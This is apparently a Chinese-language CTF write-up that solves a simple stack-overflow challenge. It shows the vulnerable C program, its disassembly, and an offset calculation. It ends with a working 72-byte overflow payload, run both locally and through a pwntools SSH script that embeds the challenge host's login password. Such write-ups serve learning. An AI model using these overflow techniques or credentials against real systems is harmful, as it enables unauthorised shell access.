Simple Stackoverflow

摘要

闲来无事做几个简单的pwn玩玩: Simple Stackoverflow

题目:

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdint.h>
#include <unistd.h>

#define EXPECTED 0xdeadbeefdeadbeef

int main(int argc, char **argv)
{
char buf[64];
uint64_t n = 0x1337;

if (argc != 2)
{
printf("Please supply a single argument\n");
return 1;
}

strcpy(buf, argv[1]);

printf("Expected value of n: %016lX\n", EXPECTED);
printf("Actual value of n: %016lX\n", n);

if (n == EXPECTED)
{
printf("You win!\n");
// This prevents /bin/sh from dropping the privileges
setreuid(geteuid(), geteuid());
system("/bin/sh");
}
else
{
printf("You lose!\n");
}

return 0;
}

分析

这里面使用了 strcpy 函数,并且没有校验用户输入的字符串长度,直接copy进入 buf 中,会导致缓冲区溢出的风险,从而覆盖 n 变量为我们想要的值

这里面有一个小的注意点,虽然这里面数组是比变量更早声明,但是实际上在地址分布中数组的地址更低,而数组是从低地址向高地址生长的,因此可以覆盖到更高地址的变量

我们在本地使用 gcc 编译然后使用逆向工具对代码进行分析,找到两个变量的相对地址,从而构造我们的payload

文件下载并检查保护

1
2
scp pwn024@pwn.baectf.com:/home/pwn024/runme ./runme
checksec runme

查看文件平台 x86-64

1
2
ubuntu@VM-0-10-ubuntu:~/ctf/stackoverflow/ret2text$ file runme 
runme: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ce0f1730a4b9bd7a58b681b3f691910d28da1a0a, not stripped

编译

1
gcc -fno-stack-protector -z noexecstack -g stack.c -o stack_pwn

pwndbg

命令可以参考:https://www.cnblogs.com/XiDP0/p/18445567

1
2
file ./stack_pwn
disassemble main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
Dump of assembler code for function main:
0x00000000000011e9 <+0>: endbr64
0x00000000000011ed <+4>: push rbp
0x00000000000011ee <+5>: mov rbp,rsp
0x00000000000011f1 <+8>: push rbx
0x00000000000011f2 <+9>: sub rsp,0x68
0x00000000000011f6 <+13>: mov DWORD PTR [rbp-0x64],edi
0x00000000000011f9 <+16>: mov QWORD PTR [rbp-0x70],rsi
0x00000000000011fd <+20>: mov QWORD PTR [rbp-0x18],0x1337
0x0000000000001205 <+28>: cmp DWORD PTR [rbp-0x64],0x2
0x0000000000001209 <+32>: je 0x1224 <main+59>
0x000000000000120b <+34>: lea rax,[rip+0xdf6] # 0x2008
0x0000000000001212 <+41>: mov rdi,rax
0x0000000000001215 <+44>: call 0x10b0 <puts@plt>
0x000000000000121a <+49>: mov eax,0x1
0x000000000000121f <+54>: jmp 0x12d8 <main+239>
0x0000000000001224 <+59>: mov rax,QWORD PTR [rbp-0x70]
0x0000000000001228 <+63>: add rax,0x8
0x000000000000122c <+67>: mov rdx,QWORD PTR [rax]
0x000000000000122f <+70>: lea rax,[rbp-0x60]
0x0000000000001233 <+74>: mov rsi,rdx
0x0000000000001236 <+77>: mov rdi,rax
0x0000000000001239 <+80>: call 0x10a0 <strcpy@plt>
0x000000000000123e <+85>: movabs rax,0xdeadbeefdeadbeef
0x0000000000001248 <+95>: mov rsi,rax
0x000000000000124b <+98>: lea rax,[rip+0xdd6] # 0x2028
0x0000000000001252 <+105>: mov rdi,rax
0x0000000000001255 <+108>: mov eax,0x0
0x000000000000125a <+113>: call 0x10d0 <printf@plt>
0x000000000000125f <+118>: mov rax,QWORD PTR [rbp-0x18]
0x0000000000001263 <+122>: mov rsi,rax
0x0000000000001266 <+125>: lea rax,[rip+0xdd8] # 0x2045
0x000000000000126d <+132>: mov rdi,rax
0x0000000000001270 <+135>: mov eax,0x0
0x0000000000001275 <+140>: call 0x10d0 <printf@plt>
0x000000000000127a <+145>: movabs rax,0xdeadbeefdeadbeef
0x0000000000001284 <+155>: cmp QWORD PTR [rbp-0x18],rax
0x0000000000001288 <+159>: jne 0x12c4 <main+219>
0x000000000000128a <+161>: lea rax,[rip+0xdcf] # 0x2060
0x0000000000001291 <+168>: mov rdi,rax
0x0000000000001294 <+171>: call 0x10b0 <puts@plt>
0x0000000000001299 <+176>: call 0x10e0 <geteuid@plt>
0x000000000000129e <+181>: mov ebx,eax
0x00000000000012a0 <+183>: call 0x10e0 <geteuid@plt>
0x00000000000012a5 <+188>: mov esi,ebx
0x00000000000012a7 <+190>: mov edi,eax
0x00000000000012a9 <+192>: call 0x10f0 <setreuid@plt>
0x00000000000012ae <+197>: lea rax,[rip+0xdb4] # 0x2069
0x00000000000012b5 <+204>: mov rdi,rax
0x00000000000012b8 <+207>: mov eax,0x0
0x00000000000012bd <+212>: call 0x10c0 <system@plt>
0x00000000000012c2 <+217>: jmp 0x12d3 <main+234>
0x00000000000012c4 <+219>: lea rax,[rip+0xda6] # 0x2071
0x00000000000012cb <+226>: mov rdi,rax
0x00000000000012ce <+229>: call 0x10b0 <puts@plt>
0x00000000000012d3 <+234>: mov eax,0x0
0x00000000000012d8 <+239>: mov rbx,QWORD PTR [rbp-0x8]
0x00000000000012dc <+243>: leave
0x00000000000012dd <+244>: ret
End of assembler dump.

我们找一下 变量 n 的地址在哪,很明显,根据赋值0x1337 知道 rbp-0x18 就是 n的地址

我们重点看 strcopy 从而可以定位到 buf 的地址,通常函数的第一个参数存储在 edi 第二个参数存储在 esi, 因此我们知道 rax 的地址就是 rdi, rbp-0x60 就是 buf 的地址

1
2
3
4
这里补充一下汇编相关的知识:
关于 [] 在汇编中的作用有两个,一个是地址的解引用,也就是说取方框内的地址中存储的值,另一个就是表示地址的运算,具体使用场景根据运算符号的不同有不同的要求,例如 movlea 对待这个符号的理解是不同的
解引用:当你需要从某个地址加载数据时,[] 表示内存解引用。比如在 mov rax, [rbx] 中,rbx 是一个地址,[rbx] 表示加载该地址处的内容。
计算地址:当你需要计算一个地址并将其存储在寄存器中时,[] 不进行内存访问,而是计算出一个新的地址。比如在 lea rax, [rbx+8] 中,rbx+8 是一个新的地址,通过 lea 指令将这个地址加载到寄存器中。

接下来我么就是计算变量之间的距离,从而构造我们的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Higher Memory Addresses
+------------------+
| ... |
+------------------+
| n | <-- ebp - 0x18 (n占据8字节)
+------------------+
| padding | <-- 从ebp-0x18到ebp-0x60之间的距离为0x48 (72字节)
+------------------+
| |
| buf | <-- ebp - 0x60 (buf数组占据64字节)
| |
+------------------+
| ... |
Lower Memory Addresses

从图中可以看到,buf 距离 n 变量的空间之间存在一个 72 字节的空档,因此我们需要填充 72 个字符,然后再把我们需要覆盖的字符输入,payload 如下,注意,因为数据存储使用的是小端序,因此最后的覆盖的字符串要反过来写

1
b"A"*72 + b"\xef\xbe\xad\xde\xef\xbe\xad\xde"
1
2
3
4
5
6
7
8
9
10
11
12
补充一下大端序和小端序:
端序(Endianness) 指的是多字节数据(如 int, float, double)在 内存中 的存储顺序。
● 大端序(Big Endian):高字节存在低地址,低字节存在高地址
● 小端序(Little Endian):低字节存在低地址,高字节存在高地址
记忆方法可以当作填空题:___存在低地址,___存在高地址,大端序就是高字节在前,小端序就是低字节在前
CPU 体系结构选择不同的端序:
大端序(Big Endian)
● PowerPC, SPARC, IBM Mainframe, 网络协议(TCP/IP
● 适合人类阅读习惯,高字节在前
小端序(Little Endian)
● x86(Intel, AMD), ARM(默认小端)
● 适合 CPU 计算,高字节的高位运算更高效

我们输入这个paylaod 有两种方式,一种是直接 ssh 到目标主机,另一种是远程

payload

本地执行

1
pwn024@i-0e928e6d1e91ce83d:~$ ./runme "$(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*72 + b"\xef\xbe\xad\xde\xef\xbe\xad\xde")')"

远程执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

# 设置连接信息
target_ip = 'pwn.baectf.com' # 远程主机的 IP 地址
target_port = 22 # 默认的 SSH 端口
username = 'pwn024' # SSH 用户名
password = 'gocartmozart' # SSH 密码
executable_path = './runme' # 可执行文件的路径
#payload = b'A' * 72 + p64(0xdeadbeefdeadbeef) # 假设这是你的 payload
payload = b'A'*72 + p64(0xdeadbeefdeadbeef)
# 通过 SSH 连接到远程主机
p = ssh(host=target_ip, user=username, password=password, port=target_port)

# 在远程主机上执行可执行文件,并传递 payload 作为命令行参数
target_program = p.process([executable_path, payload])

# 获取程序的输出并打印
try:
# 设置超时时间为 5 秒
output = target_program.recv(timeout=5) # 接收最多 5 秒的输出
print(output.decode()) # 输出接收到的内容
except Exception as e:
print(f"Error: {e}")

# 如果需要进一步交互,可以使用 interactive() 函数进入交互模式
target_program.interactive()

这个题目使用IDA分析也是可以的


Simple Stackoverflow
http://k0rz3n.com/2025/03/10/simple-stackoverflow/
Author
K0rz3n
Posted on
March 10, 2025
Licensed under